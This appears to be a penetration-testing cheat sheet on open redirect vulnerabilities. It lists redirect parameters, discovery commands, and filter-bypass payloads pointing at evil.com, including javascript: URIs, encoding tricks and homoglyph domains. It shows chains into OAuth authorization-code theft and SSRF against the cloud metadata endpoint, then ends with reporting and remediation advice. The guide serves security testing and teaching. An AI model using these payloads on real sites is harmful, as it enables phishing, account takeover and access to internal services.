← Back to writing
Tools & Cheatsheets

Open Redirect Testing

Mar 20, 2025
2 min read
lawbyte

Open redirects are often dismissed as low severity, but when chained with OAuth token theft or SSRF bypass, they become critical. They also enable highly convincing phishing with the victim domain in the URL.

Finding Redirect Parameters

Common Parameter Names

# URL parameters to look for
?redirect=
?redirect_uri=
?redirect_url=
?return=
?return_url=
?returnUrl=
?returnTo=
?next=
?next_url=
?dest=
?destination=
?go=
?goto=
?url=
?uri=
?path=
?out=
?callback=
?forward=
?continue=
?target=
?link=
?checkout_url=
?image_url=
?action=
?success_url=
?failure_url=
?cancel_url=

Discovering in the Wild

# Check login/logout flows (most common location)
https://target.com/login?redirect=https://evil.com
https://target.com/logout?next=https://evil.com
https://target.com/auth/callback?redirect_uri=https://evil.com

# Search historical URLs
gau target.com | grep -iE "redirect|return|next|dest|callback|url=" | head -50
waybackurls target.com | grep -iE "redirect=|return=|next=|goto=" | sort -u

# JavaScript — look for location.href assignments
# In browser DevTools or grep source:
grep -r "location.href\|window.location\|document.location" /js/

# HTTP response headers
# Some redirects happen via Location header in response — inspect 301/302 responses

Basic Testing

# Test with external domain
https://target.com/redirect?url=https://evil.com
https://target.com/logout?next=https://evil.com

# Check if you end up at evil.com — if yes, it's vulnerable

Bypass Techniques

Protocol Bypasses

# Basic
https://evil.com
http://evil.com

# Protocol-relative (browser decides http/https)
//evil.com
//evil.com/

# JavaScript protocol
javascript:alert(1)
javascript://evil.com/%0aalert(1)

# Data URI
data:text/html,<script>window.location='https://evil.com'</script>

Host Bypasses (when validation checks the domain)

# Subdomain confusion
https://target.com.evil.com
https://target.com@evil.com
https://evil.com?target.com
https://evil.com/target.com
https://evil.com#target.com

# Using target.com as subdomain of evil.com
https://target.com.evil.com/

# URL credentials (user:pass@host)
https://target.com@evil.com
https://target.com:secret@evil.com

# Backslash (interpreted differently by browser vs server)
https://evil.com\target.com
https://evil.com\.target.com
//evil.com\target.com

# Double slashes
///evil.com
////evil.com

Encoding Bypasses

# URL encoding
https://%65%76%69%6c%2e%63%6f%6d # evil.com

# Double URL encoding
https://%2565%2576%2569%256c%252e%2563%256f%256d

# Unicode encoding
https://еvil.com # Cyrillic 'е' looks like latin 'e'

# Mixed case (if check is case sensitive)
Https://Evil.Com
HTTPS://EVIL.COM

Path-based Validation Bypasses

# If server validates prefix of URL contains target.com
https://target.com.evil.com/path
https://target.com/../../../evil.com
https://target.com/%2f%2fevil.com

# If server checks the URL starts with /
/\/evil.com
//evil.com

Redirect Chains

# Chain open redirects for bypass
# If redirect must point to target.com, but target.com has its own open redirect:
https://target.com/redirect?url=https://partner.com/redirect?url=https://evil.com

Chaining Open Redirects

OAuth Token Theft

# If OAuth redirect_uri validation allows open redirects on the same domain:
# 1. Authorization request with open redirect as redirect_uri
https://auth.target.com/oauth/authorize?
client_id=CLIENT_ID&
redirect_uri=https://target.com/redirect?next=https://evil.com&
response_type=code

# 2. After user authenticates, code is sent to:
https://target.com/redirect?next=https://evil.com?code=AUTH_CODE

# 3. Attacker captures code → exchanges for access token → account takeover

SSRF via Open Redirect

# Some SSRF filters block direct internal IPs but allow URLs that redirect there
# Application fetches URL → follows redirects → hits internal service
# If target.com/redirect?url=http://169.254.169.254/ works...
POST /api/fetch
{"url": "https://target.com/redirect?url=http://169.254.169.254/latest/meta-data/"}

Phishing

# URL appears to be legitimate target.com, but redirects to phishing page
https://target.com/login?redirect=https://target.com-evil.com/login

# More convincing with encoding
https://target.com/logout?next=//evil.com

Automated Discovery

# Using OpenRedireX
python openredirex.py -l urls.txt -p payloads.txt

# Using ffuf
ffuf -w redirect_payloads.txt:FUZZ \
-u "https://target.com/redirect?url=FUZZ" \
-mr "evil.com" \
-o results.json

# With gf (go find) patterns — find redirect params in URLs
cat urls.txt | gf redirect
# gf uses pre-made patterns from tomnomnom/gf

# Nuclei templates
nuclei -l live_urls.txt -t exposures/redirect/

Severity Escalation

Low: Basic redirect to external site (phishing vector only)

Medium: Redirect in OAuth flow (code/token interception possible)

High: Open redirect → SSRF bypass reaching internal services

Critical: Open redirect → OAuth ATO → full account takeover
Open redirect → SSRF → cloud metadata → RCE

Reporting

Title: Open Redirect via `redirect_uri` parameter

URL: https://target.com/logout?next=https://evil.com

PoC:
1. Visit: https://target.com/logout?next=https://evil.com
2. Observe redirect to evil.com

Impact:
- Phishing: Attacker sends victim a target.com URL that redirects to a phishing page.
Victim sees target.com in URL bar and trusts the link.
- If chained with OAuth: access token theft → full account takeover

Remediation:
- Use a whitelist of allowed redirect destinations
- Reject redirect URLs not matching an allowlist of domains
- If redirecting to relative paths only, validate no protocol/host in value
- Consider indirect reference: redirect_to=home instead of redirect_to=/home

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.